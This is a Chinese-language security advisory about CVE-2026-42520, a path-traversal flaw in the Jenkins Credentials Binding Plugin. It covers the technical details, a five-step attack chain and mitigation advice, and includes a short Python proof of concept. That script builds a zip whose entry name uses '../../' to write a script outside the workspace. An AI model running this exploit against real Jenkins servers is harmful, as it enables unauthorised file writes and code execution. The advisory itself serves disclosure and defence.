IPBUF安全漏洞报告
English
CVE-2026-42520 CVSS 7.5 高危

CVE-2026-42520 Jenkins凭证绑定插件RCE漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2026-42520
漏洞类型
远程代码执行 (RCE)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins Credentials Binding Plugin

相关标签

JenkinsRCEPath TraversalArbitrary File WriteCVE-2026-42520

漏洞概述

Jenkins Credentials Binding Plugin 在版本 719.v80e905ef14eb_ 及更早版本中存在严重的安全缺陷。该插件未能正确过滤文件和 zip 文件凭证中的文件名,导致攻击者能够利用路径遍历技术将文件写入节点文件系统的任意位置。在特定配置下,即允许低权限用户为在内置节点上运行的作业配置凭证时,此漏洞可被利用进而实现远程代码执行,严重威胁服务器安全。

技术细节

该漏洞的核心原理在于对用户输入的文件名缺乏校验,从而导致路径遍历。当 Jenkins 处理包含文件或 zip 文件凭证的作业时,它会将这些凭证解压或复制到构建工作区。由于未对文件名中的路径分隔符(如 ../)进行清理,攻击者可以精心构造包含恶意文件名的 zip 包。一旦该凭证被作业使用,文件将被写入到攻击者指定的任意路径(如 Jenkins 配置目录或系统启动目录)。结合 Jenkins 的运行机制,攻击者可以覆盖关键配置文件或写入恶意脚本,在后续系统操作或构建过程中触发执行,从而获取服务器最高权限。

攻击链分析

STEP 1
1. 信息收集
识别目标 Jenkins 实例及其安装的 Credentials Binding Plugin 版本。
STEP 2
2. 获取权限
攻击者使用低权限账户登录 Jenkins,该账户需具备创建或配置作业凭证的权限。
STEP 3
3. 构造载荷
构造包含恶意文件的 Zip 包,文件名包含路径遍历字符(如 ../../),指向敏感目录。
STEP 4
4. 上传凭证
将构造的 Zip 包作为“文件凭证”或“Zip 文件凭证”上传到 Jenkins。
STEP 5
5. 触发利用
配置一个作业使用该恶意凭证并触发构建,插件将文件解压至任意路径,导致代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Malicious payload content payload_content = b"echo 'pwned' > /tmp/pwned.txt" # Construct a filename with path traversal # This attempts to write to /tmp/payload.sh on the host malicious_filename = "../../tmp/payload.sh" # Create a zip file containing the malicious file with zipfile.ZipFile("exploit.zip", "w") as zf: zf.writestr(malicious_filename, payload_content) print("[+] Malicious zip file created: exploit.zip") print("[+] Upload this file as a 'File' or 'Zip File' credential in Jenkins.") print("[+] Configure a job to use this credential and trigger a build.")

影响范围

Jenkins Credentials Binding Plugin <= 719.v80e905ef14eb_

防御指南

临时缓解措施
建议立即升级插件。若无法立即升级,应严格限制低权限用户对凭证的配置权限,并确保 Jenkins 运行在最小权限环境下。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表